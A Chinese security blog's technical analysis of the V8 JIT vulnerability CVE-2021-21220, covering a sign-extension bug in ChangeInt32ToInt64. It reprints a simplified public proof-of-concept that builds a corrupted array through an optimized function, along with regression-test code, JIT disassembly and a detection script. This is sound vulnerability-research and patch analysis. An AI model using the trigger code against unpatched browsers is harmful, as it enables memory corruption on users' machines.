聚焦源代码安全,网罗国内外最新资讯!

前言

CVE-2021-21220 是4月13号在 github 上公开的一个半 0day v8 引擎 JIT 模块漏洞。由于当时最新stable版本 (89.0.4389.114) 和 beta 版本 (90.0.4430.70) 的 Chrome 均未集成修复后的 V8 版本,所以该漏洞可以影响最新版本的 Chrome,当然,也影响基于 V8 的其它广泛使用的浏览器。

目前最新版本的 Chrome 已修复该漏洞,建议大家尽快更新 Chrome 浏览器。

漏洞分析

拿到PoC之后,首先进行简单的分析和精简,方便之后的调试分析。

var _arr = new Uint32Array([2**31]);
function foo(a) {var x = 1;x = (_arr[0] ^ 0) + 1;x = Math.abs(x);x -= 2147483647;x = Math.max(x, 0);x -= 1;if(x==-1) x = 0;var arr = new Array(x);arr.shift();var cor = [1.1, 1.2, 1.3];return [arr, cor];
}for(var i=0;i<0x3000;++i)foo(true);var x = foo(false);
var arr = x[0];
var cor = x[1];

对 jit 比较熟悉的同学,很容易就可以发现 foo 函数是被优化的函数。foo 函数的主要功能是:1、对变量 x 进行多种基本操作;2、涉及数组的相关操作。仔细看一下数组这部分,它主要依赖于变量 x 的值。

var _arr = new Uint32Array([2**31]);//2**31
function foo(a) {var x = 1;x = (_arr[0] ^ 0) + 1;// (2**31)^0+1x = Math.abs(x);x -= 2147483647;//2**31-1=2147483647x = Math.max(x, 0);x -= 1;if(x==-1) x = 0;return x
}
print(foo(false));
for(var i=0;i<0x3000;++i)foo(true);
var x = foo(false);
print(x)

去掉 array 数组那部分的精简,运行poc,结合输出的结果,说明我们的推断是正确的。

d8 poc.js
0
1

进一步分析发现,变量 x 的值和 2**31(2147483648) 有很大关系。有符号的int32 整数范围 [-2147483648~2147483647],在这个地方进行加减操作,在64位平台下很容易发生 int32 和 int64 之间的相互转换。事实上我们发现 v8 团队提交的一个 commit 修复链接 [compiler][x64] Fix bug in InstructionSelector::ChangeInt32ToInt64,恰好是这个 bug 的 patch。这个commit中包含了对应的回归测试用例。为了调试方便,我们使用该测试用例。

const arr = new Uint32Array([2**31]);
function foo() {return (arr[0] ^ 0) + 1;
}
%PrepareFunctionForOptimization(foo);
print(foo());
%OptimizeFunctionOnNextCall(foo);
print(foo());

执行

d8 poc.js --allow-natives-syntax
-2147483647  //runtime
2147483649   //jit

arr[0]= 2**31(2147483648);arr[0] ^ 0 = -2147483648在32位有符号的情况下为0x8000 0000,而 arr[0] 在32位无符号的情况下也为 0x8000 0000,之后执行加1:在 runtime 阶段,-2147483648+1=0xFFFF FFFF 8000 0001 = -2147483647没有问题;而 jit 阶段,错误地将32位无符号0x8000 0000,扩展为64位0x0000 0000 8000 0000,然后加1得到0x0000 0000 8000 0001 = 2147483649。

结合对应的 patch 代码和注释,ChangeInt32ToInt64的输入是一个有符号的32位整数,所以任何时候都应该做符号扩展。

最后我们来看一下 jit 生成的代码,这里通过 | mov ecx,dword ptr [rcx]|,错误地丢失了符号。而在 fix 之后的 jit 代码中通过 | movsxd rcx,dword ptr [rcx]| 正确地带符号扩展 rcx。

JIT代码:

0000009B000C4165  mov         ecx,dword ptr [rcx]
//RCX = 0000000080000000
0000009B000C4167  mov         r10,qword ptr [9B000C4146h]
0000009B000C416E  cmp         r10,rcx
0000009B000C4171  ja          0000009B000C4182
0000009B000C4173  xor         edx,edx
0000009B000C4175  mov         dl,2
0000009B000C4177  mov         r10,qword ptr [9B000C4052h]
0000009B000C417E  call        r10
0000009B000C4181  int         3
0000009B000C4182  add         rcx,1
//RCX = 0000000080000001
0000009B000C4186  mov         edi,ecx

修复 JIT代码:

000001B0000C4165  movsxd      rcx,dword ptr [rcx]
// RCX = FFFFFFFF80000000
000001B0000C4168  add         rcx,1
// RCX = FFFFFFFF80000001

验证脚本

var _arr = new Uint32Array([2**31]);function foo(a) {var x = 1;x = (_arr[0] ^ 0) + 1;x = Math.abs(x);x -= 2147483647;x = Math.max(x, 0);x -= 1;if(x==-1) x = 0;var arr = new Array(x);return arr
}for(var i=0;i<0x3000;++i)foo(true);var x = foo(false);
if(x.length){alert("vuln is exist")
}

参考

  • https://github.com/r4j0x00/exploits/tree/master/chrome-0day

  • https://chromium-review.googlesource.com/c/v8/v8/+/2820971

就在今天,奇安信代码安全实验室帮助微软修复严重的远程内核级漏洞,获官方致谢。详请请见本日次条推送。


奇安信开源卫士20210414.659版本已支持对该漏洞的检测。

推荐阅读

影响 Chrome、Edge 等浏览器的 V8 引擎0day

详细分析PHP源代码后门事件及其供应链安全启示

微软“照片”应用Raw 格式图像编码器漏洞 (CVE-2021-24091)的技术分析

Windows DNS Server 远程代码执行漏洞 (CVE-2021-24078) 的详细原理分析

FireEye 红队失窃工具大揭秘之:分析复现SolarWinds RCE 0day (CVE-2020-10148)

题图:Pixabay License

本文由奇安信代码卫士原创出品。转载请注明“转自奇安信代码卫士 https://codesafe.qianxin.com”。

奇安信代码卫士 (codesafe)

国内首个专注于软件开发安全的

产品线。

 觉得不错,就点个 “在看” 或 "赞” 吧~

详细分析 Chrome V8 JIT 漏洞 CVE-2021-21220相关推荐

  1. 手把手教你详细分析 Chrome 1day 漏洞 (CVE-2021-21224)

     聚焦源代码安全,网罗国内外最新资讯! 本文共分五部分: 一.时间线 二.背景 三.漏洞及补丁分析 1.漏洞复现 四.漏洞利用分析 1.漏洞利用 2.内存读写 3.代码执行 五.参考资料 一.时间线 ...

  2. 详细分析Apple macOS 6LowPAN 漏洞(CVE-2020-9967)

     聚焦源代码安全,网罗国内外最新资讯! 安全研究员 Alex Plaskett 在2020年5月向苹果报告了影响MacOS Big Sur 的一个漏洞 (CVE-2020-9967).苹果公司在12月 ...

  3. 详细分析 Sonlogger 任意文件上传漏洞 (CVE-2021-27964)

     聚焦源代码安全,网罗国内外最新资讯! 概述 Sonlogger 是土耳其SFC 公司 开发的一款应用软件,兼容土耳其<第5651号法>,是一款基于 Web 的 SonicWall 防火墙 ...

  4. 详细分析谷歌紧急修复的 Chrome 0day(CVE-2021-21224)

     聚焦源代码安全,网罗国内外最新资讯! 编译:奇安信代码卫士 本文作者 iamelli0t 发布文章,详细分析了谷歌于今天修复的两个近期备受关注的两个漏洞Chrome CVE-2021-21220 和 ...

  5. 详细分析微软“照片”应用图像编码器漏洞 (CVE-2020-17113)

     聚焦源代码安全,网罗国内外最新资讯! 在上一篇<微软"照片"应用Raw 格式图像编码器漏洞 (CVE-2021-24091)的技术分析>中,笔者基于对Olympus ...

  6. 详细分析开源软件项目 Ajax.NET Professional 中的RCE 漏洞(CVE-2021-23758)

     聚焦源代码安全,网罗国内外最新资讯! 作者:Hans-Martin Münch 编译:代码卫士 2021年秋,MOGWAI LABS 实验室在为客户进行渗透测试过程中发现了开源组件 "Aj ...

  7. 详细分析开源软件 ExifTool 的任意代码执行漏洞 (CVE-2021-22204)

     聚焦源代码安全,网罗国内外最新资讯! 编译:奇安信代码卫士 本文作者详述了自己如何从 ExifTool 发现漏洞的过程. 背景 在查看我最喜欢的漏洞奖励计划时,我发现他们使用ExifTool 从所上 ...

  8. 【高危】Google Chrome V8 类型混淆漏洞(CVE-2023-2033)

    漏洞描述 Google Chrome V8是Google开源的JavaScript和WebAssembly引擎,被用在Chrome和Node.js等浏览器和平台中. 该项目受影响版本存在类型混淆漏洞, ...

  9. 这个 WebKit 漏洞助力 Pwn2Own 冠军斩获5.5万美元赏金(详细分析)

     聚焦源代码安全,网罗国内外最新资讯! 编译:奇安信代码卫士团队 Pwn2Own 东京大赛已落下帷幕,我不由想起了三次蝉联大赛冠军的 Fluoroacetate 团队在Pwn2Own 温哥华大赛上使用 ...

最新文章

  1. iOS开发者帐号申请指南
  2. 黑客用上机器学习你慌不慌?这 7 种窃取数据的新手段快来认识一下!
  3. 基于jenkins结合git实现web程序的多服务器批量发布
  4. 性能测试之LoardRunner 测试场景监控关注的几点
  5. python输出文本-使用python输出指定格式文本的内容
  6. 【计算机网络】网络层 : IPv6 协议 ( IPv6 数据包格式 | IPv6 地址表示 | IPv6 地址类型 | IPv4 与 IPv6 协议对比 | IPv4 -> IPv6 过渡策略 )
  7. VS 打包升成可自动升级的安装包
  8. 图解Windows下开发Objective-C程序之二 - Objective-C入门例子
  9. Linux下实现USB口的热插拔
  10. 数据库中where与having区别~~~
  11. 前端必须学会的5个原生JavaScript对象方法
  12. 006_理解inode
  13. 【SDE】随机微分方程(1)
  14. windows64位首次安装git
  15. 深入理解Java三种IO模式和Epoll模型
  16. 投资理财学习笔记五,1.6那些必知的宏观经济指标(下)
  17. C++输出透明背景字体
  18. 国内十大不可错过的免费学习资源网站(火速收藏中)
  19. 【米勒拉宾模板】Palindromic Primes
  20. 记录软考上午题1计算机系统之1.2 计算机体系结构及真题

热门文章

  1. 随笔1:音频编解码科学家
  2. 如何配置YUM本地更新源
  3. js中export的问题
  4. 学会爱,也学会批处理
  5. 炼数成金数据分析课程---17、机器学习聚类算法(后面要重点看)
  6. VueJs入门(一)
  7. mysql误删除ibdata1以及日志ib_logfile*
  8. 我的2015plan
  9. Locating Elements(一)
  10. 系统技巧之如何巧妙的整理磁盘碎片